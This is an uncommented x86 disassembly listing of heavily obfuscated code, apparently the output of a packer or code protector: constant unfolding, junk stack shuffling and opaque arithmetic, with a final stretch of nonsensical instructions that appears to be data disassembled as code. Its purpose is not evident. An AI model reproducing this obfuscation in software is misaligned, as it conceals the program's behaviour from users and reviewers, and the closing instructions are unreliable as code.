or dword [esp + 4], ecx
pop ecx
dec dword [esp]
xor dword [esp], 0x6bef8c7f
shr dword [esp], 4
push ecx
mov ecx, 0xfec06c68
add dword [esp + 4], ecx
pop ecx
mov eax, dword [esp]
push edx
push esp
pop edx
push 0x6355a4c3
mov dword [esp], eax
mov eax, 0xffb2bcd
push ecx
mov ecx, 0x1bff5f7c
or eax, ecx
pop ecx
sub eax, 0x7f3bf9d0
add eax, 0x1af79631
xor eax, 0x5f7f117a
push esi
mov dword [esp], ecx
mov ecx, 0x787a0786
sub ecx, 0x204d94c
xor eax, ecx
pop ecx
push edi
mov edi, 0x6ffbb199
or edi, 0x5f5d4e00
not edi
sub edi, 0x49db98cb
add edi, 0x975357a3
xor eax, edi
mov edi, dword [esp]
add esp, 4
shl eax, 7
push edx
mov dword [esp], ebx
mov ebx, 0x4fe81206
sub ebx, 0x6c9a020a
sub eax, ebx
pop ebx
add edx, eax
pop eax
add edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
push edi
mov dword [esp], 0x6f77dfbd
neg dword [esp]
shr dword [esp], 2
shl dword [esp], 1
shl dword [esp], 3
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
pop esp
mov dword [esp], edx
mov edx, 0x96d301a
xor dword [esp + 4], edx
mov edx, dword [esp]
add esp, 4
mov dword [esp], ecx
push esp
pop ecx
push ebx
push eax
push 0x719757d5
pop eax
push ebp
mov ebp, 0x7e7fab00
and ebp, 0x177b1242
sub ebp, 0xa4e3aa2f
xor eax, ebp
pop ebp
mov ebx, eax
pop eax
sub ecx, 0xf4f4dc2
add ecx, ebx
add ecx, 0xf4f4dc2
mov ebx, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
sub ecx, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
mov esp, dword [esp]
mov dword [esp], ebx
mov dword [esp], edi
mov dword [esp], eax
jmp 0x66bad2
call 0x66bad7
push dword [esp]
push dword [esp]
pop ecx
push eax
mov dword [esp], 0x4ba68600
mov dword [esp], edx
mov dword [esp], eax
push 0x2e0c1b77
mov dword [esp], edi
mov dword [esp], esp
add dword [esp], 4
pop eax
push ebp
mov ebp, 0x7effcc85
sub ebp, 0x7effcc81
add eax, ebp
pop ebp
push edi
push 4
pop edi
sub eax, 0x677d35fa
add eax, edi
add eax, 0x677d35fa
pop edi
xchg dword [esp], eax
pop esp
push ebx
mov dword [esp], 0x5d41accd
mov dword [esp], edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword [esp + 4]
pop edx
pop dword [esp]
mov esp, dword [esp]
push edx
push edx
mov dword [esp], ebx
push eax
mov eax, 0x6dd7a511
sub eax, 0x736ebd5e
add eax, 0x5afb7d87
xor eax, 0x4a530bb8
mov ebx, eax
pop eax
mov edx, ebx
pop ebx
push ebx
mov ebx, 1
sub edx, 0x7fab975a
sub edx, 0x3edf1e28
add edx, ebx
add edx, 0x3edf1e28
add edx, 0x7fab975a
pop ebx
push ebp
mov ebp, 0x704904d0
xor edx, ebp
pop ebp
sub ecx, 0x7bfedf38
add ecx, edx
add ecx, 0x7bfedf38
mov edx, dword [esp]
add esp, 4
add ecx, 0x7c93390d
add ecx, dword [esp]
push ebx
mov ebx, 0x7eff864a
neg ebx
shr ebx, 2
dec ebx
xor ebx, 0x5cd32761
add ecx, 0x3bfa4587
sub ecx, ebx
push edx
mov edx, 0x7bff0bea
xchg edx, eax
not eax
xchg edx, eax
dec edx
and edx, 0x77eea466
inc edx
add edx, 0x37f9a182
sub ecx, edx
pop edx
mov ebx, dword [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
pop esp
sub ecx, 0x6f7e6a53
push ebx
push esp
push dword [esp]
pop ebx
add esp, 4
push 0x1a0f91f1
mov dword [esp], ecx
mov ecx, 0x7bc3fd83
push eax
mov eax, 0x1e275477
add ecx, 0x7c9fa3ec
sub ecx, eax
push ebp
mov ebp, 0x15ef9ff3
or ebp, 0x3fd90921
xor ebp, 0x7eef8b81
add ebp, 0x3b8f8f7a
sub ecx, ebp
pop ebp
pop eax
shl ecx, 7
push ebx
push 0xce548604
pop ebx
xor ecx, ebx
pop ebx
add ebx, ecx
mov ecx, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], esi
push eax
push 0x3f9c4f1a
push dword [esp]
pop eax
add esp, 4
xor eax, 0x416137eb
push ebx
mov ebx, eax
mov esi, ebx
pop ebx
pop eax
dec esi
not esi
sub esi, 0x8102870b
add ebx, esi
pop esi
xchg dword [esp], ebx
pop esp
xor ebx, ebx
push dword [ebx + ecx]
mov esi, dword [esp]
push ebx
push esp
pop ebx
push ebp
mov ebp, 0x642f1801
and ebp, 0x7eefdf73
inc ebp
xor ebp, 0x642f1806
add ebx, ebp
pop ebp
push ecx
mov ecx, 0x7eb2fbc0
sub ecx, 0x7eb2fbbc
push edx
mov edx, 0x66fdc6aa
sub ebx, 0x3c56afc2
add ebx, edx
add ebx, 0x3c56afc2
push dword [esp]
pop edx
add esp, 4
add ebx, 0x1faf235e
add ebx, 0x5f06820d
sub ebx, 0x7faf2047
add ebx, 0x7fffb6a5
add ebx, ecx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg dword [esp], edi
pop esp
mov dword [esp], ecx
mov ecx, 0x7fffb6a5
sub ebx, ecx
pop ecx
add ebx, 0x7faf2047
sub ebx, 0x5f06820d
push edi
mov edi, 0x7fffcb3b
dec edi
add edi, 0x7db40eda
push ebx
mov ebx, 0x1fe39438
add ebx, 0xfd71b188
and edi, ebx
pop ebx
sub edi, 0x7b778854
sub edi, 0x81ea944e
sub ebx, edi
pop edi
sub ebx, 0x66fdc6aa
pop ecx
xchg dword [esp], ebx
pop esp
push ebp
push edi
mov edi, 0x7a7bab03
mov ebp, 0x9beeacb1
sub ebp, edi
pop edi
sub esi, 0x7fdff812
add esi, ebp
push edx
mov edx, 0x7fdff812
add esi, edx
push dword [esp]
pop edx
add esp, 4
mov ebp, dword [esp]
push eax
mov dword [esp], ebx
mov dword [esp], eax
push eax
mov dword [esp], 0x6e4a6708
add dword [esp], 0x5cfde721
add dword [esp], 0x7fa9bdb0
neg dword [esp]
push edx
mov edx, 0x6f4e17b3
add dword [esp + 4], edx
pop edx
sub dword [esp], 0xb6f22037
mov dword [esp], esp
push edi
mov edi, 4
add dword [esp + 4], edi
pop edi
pop eax
add eax, 4
add eax, 4
push 0x17ee9c29
mov dword [esp], ebx
mov dword [esp], eax
push dword [esp + 4]
mov eax, dword [esp]
add esp, 4
pop dword [esp]
pop esp
push eax
mov dword [esp], 0x7fbf6861
sub dword [esp], 0x7f57e413
xor dword [esp], 0x5dffef5d
push edi
push edx
push 0x5da7cc94
pop edx
shl edx, 3
add edx, 0x7a4f30fc
mov edi, edx
pop edx
or dword [esp + 4], edi
pop edi
shr dword [esp], 2
xor dword [esp], 0x5fb5c9ff
mov dword [esp], ebx
push eax
push eax
mov dword [esp], 0x3e7c5463
mov eax, dword [esp]
add esp, 4
neg eax
push ecx
mov ecx, 0x7027aa8f
sub eax, ecx
pop ecx
push eax
add dword [esp], 0x7fff5121
pop ebx
sub ebx, 0x7fff5121
mov eax, dword [esp]
add esp, 4
add esi, 0x6ef561d6
sub esi, ebx
sub esp, 4
mov dword [esp], eax
mov eax, 0x6ef561d6
sub esi, eax
pop eax
push dword [esp]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword [esp + 4]
pop ebx
pop dword [esp]
pop esp
push edx
mov dword [esp], eax
mov eax, 0x3fff6194
shl eax, 2
push edx
push eax
push ebp
mov ebp, 0x7fd9f608
sub ebp, 0x4e8e4b8
mov eax, ebp
pop ebp
and eax, 0x47ff32fa
xor eax, 0x3ebfdcd6
mov edx, eax
pop eax
add eax, edx
mov edx, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], edi
mov edi, 0x5fbfefb4
push edi
push edi
mov edi, 1
sub dword [esp + 4], edi
pop edi
pop edi
and edi, 0x7b7ddf9a
shr edi, 6
xchg edi, esi
push esi
not dword [esp]
pop esi
xor edi, esi
xor esi, edi
xor edi, esi
push eax
push edx
mov edx, 0x7eff7502
push edx
xor dword [esp], 0x7d6b74fe
pop eax
xor eax, 0x7d6b74fe
pop edx
and eax, 0x3dfc457f
neg eax
add eax, 0xadd892e2
add edi, eax
pop eax
add esi, 0x56a9c026
sub esi, edi
sub esi, 0x56a9c026
pop edi
add esi, eax
push ebx
mov ebx, 0x6f6f56a1
add esi, ebx
pop ebx
pop eax
push edx
mov dword [esp], 0x3b355d3f
mov dword [esp], ebp
push eax
mov dword [esp], ecx
push 0xe5fff81
mov dword [esp], esi
pop ecx
mov ebp, ecx
mov ecx, dword [esp]
add esp, 4
push 0x68ea0bcc
mov dword [esp], ebp
push eax
push 0x5fb5a358
pop eax
add dword [esp + 4], 0x6fee0501
sub dword [esp + 4], eax
sub dword [esp + 4], 0x6fee0501
push dword [esp]
mov eax, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
pop dword [ecx + ebx]
add dword [ecx + ebx], 0x5fb5a358
push dword [esp]
pop ebp
add esp, 4
sub esp, 4
mov dword [esp], eax
push 3
push dword [esp]
pop eax
push 0x4fb257a8
mov dword [esp], edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
add edi, ecx
mov ecx, dword [esp]
add esp, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
mov esp, dword [esp]
sub ebx, 0x7aeb2401
add ebx, 0x7323539e
sub ebx, eax
sub ebx, 0x7323539e
push ebp
mov ebp, 0x73fd7c8d
sub ebp, 0x7fbc789a
shr ebp, 4
xor ebp, 0x75af343e
add ebx, ebp
pop ebp
mov eax, dword [esp]
push edi
mov dword [esp], eax
push esp
pop eax
add eax, 4
sub esp, 4
mov dword [esp], ecx
mov ecx, 4
add eax, ecx
pop ecx
xchg dword [esp], eax
pop esp
sub esp, 4
mov dword [esp], edi
push edi
mov dword [esp], 0xffffffff
mov edi, dword [esp]
add esp, 4
push edi
mov edi, 0x347d6741
sub ebx, edi
push dword [esp]
pop edi
add esp, 4
sub ebx, 0x7ff97dcd
push eax
mov eax, 0x4ffb3c0c
shr eax, 2
dec eax
neg eax
sub eax, 0x6c45c8ee
sub ebx, eax
push dword [esp]
pop eax
add esp, 4
add ebx, edi
push esi
mov esi, 0x7fbb6810
add ebx, esi
pop esi
add ebx, 0x7ff97dcd
push ebp
mov ebp, 0x347d6741
add ebx, ebp
pop ebp
push dword [esp]
mov edi, dword [esp]
add esp, 4
add esp, 4
cmp ebx, 0xffff8e24
jne 0x66bc8c
sti
push eax
mov eax, 0x7fff8aba
mov ecx, 0xfe3be437
add ecx, 0x71bfeb06
add ecx, eax
sub ecx, 0x71bfeb06
pop eax
push eax
push ecx
mov ecx, 0x3f6b1ec2
mov eax, 0xbe688d28
sub eax, ecx
pop ecx
sub ecx, 0x7f3f4f06
add ecx, eax
push ebx
mov ebx, 0x7ff27983
dec ebx
push esi
mov esi, 0x7312ea00
sub ebx, esi
pop esi
xor ebx, 0x73e0c084
add ecx, ebx
pop ebx
pop eax
add ecx, 1
push 0x1f7cfe40
mov dword [esp], edx
mov dword [esp], eax
mov eax, 0x54cfc97
add eax, 0x4cfc12cc
sub eax, 0x74e3c6ad
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], edi
push ebx
mov ebx, 0x3bfe4181
mov edi, 0x17fcdbfa
add edi, ebx
pop ebx
push ecx
mov ecx, 0x1bd56d31
neg ecx
xor ecx, 0x921f404d
add eax, ecx
pop ecx
add eax, edi
sub eax, 0x7635d282
pop edi
not eax
push esi
mov esi, 0x5fff4467
and esi, 0x74e6e4da
neg esi
sub esi, 0x9d53044a
xor eax, esi
pop esi
sub ecx, eax
pop eax
push edx
sub esp, 4
mov dword [esp], ecx
mov dword [esp], 0x4f7bd18b
dec dword [esp]
add dword [esp], 0x6fadcbd1
sub dword [esp], 0x5f7346e6
sub dword [esp], 0x41bab534
dec dword [esp]
and dword [esp], 0x76bf261e
and dword [esp], 0x1fbd77d4
push ebx
mov ebx, 0x2aff5595
and dword [esp + 4], ebx
mov ebx, dword [esp]
add esp, 4
push ebx
mov ebx, 0x83018edf
sub dword [esp + 4], ebx
pop ebx
pop edx
push ecx
mov ecx, 0x3cdefa00
xor edx, ecx
pop ecx
shr edx, 4
push ecx
mov ecx, 0x7b094184
xor edx, ecx
pop ecx
mov ecx, edx
mov edx, dword [esp]
add esp, 4
push 0x30899419
mov dword [esp], esi
push 0xa7a86ec8
pop esi
sub ecx, 0x7ef73961
add ecx, 0x65d97c8b
add ecx, esi
push edi
mov edi, 0x5fe2e9d2
shr edi, 2
xor edi, 0x75f6f463
add edi, 0x3cb2e74
sub ecx, edi
pop edi
add ecx, 0x7ef73961
push dword [esp]
pop esi
add esp, 4
push ecx
mov dword [esp], esi
mov dword [esp], eax
push 0x26e45c6d
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
sub ebx, eax
pop eax
xchg dword [esp], ebx
pop esp
mov dword [esp], esi
push edi
sub esp, 4
mov dword [esp], esi
push 0x678faede
mov esi, dword [esp]
add esp, 4
push eax
mov eax, 0x7fb19b54
sub esi, eax
pop eax
add esi, 0x71e7027b
sub esp, 4
mov dword [esp], esi
mov dword [esp], eax
mov eax, esi
mov edi, eax
pop eax
mov esi, dword [esp]
add esp, 4
push edi
pop esi
pop edi
mov eax, esi
push dword [esp]
pop esi
add esp, 4
mov edx, eax
pop eax
jmp 0x66c295
ret
loope 0x66c298
pop edx
xchg esp, eax
push edx
or edi, dword [0x3ea0d0f6]
mov dh, 0xd0
pop ds
js 0x66c234
xor eax, 0xb151d7d9
sal byte [ecx + 0x351ca45c], 0x96
shr byte [edi - 0x12178c90], 1
insb byte es:[edi], dx
int1
or eax, 0xf8ab295c
sal byte [edi - 0x283e921d], 0x8b
sub eax, 0xfb07d7a1
nop
int3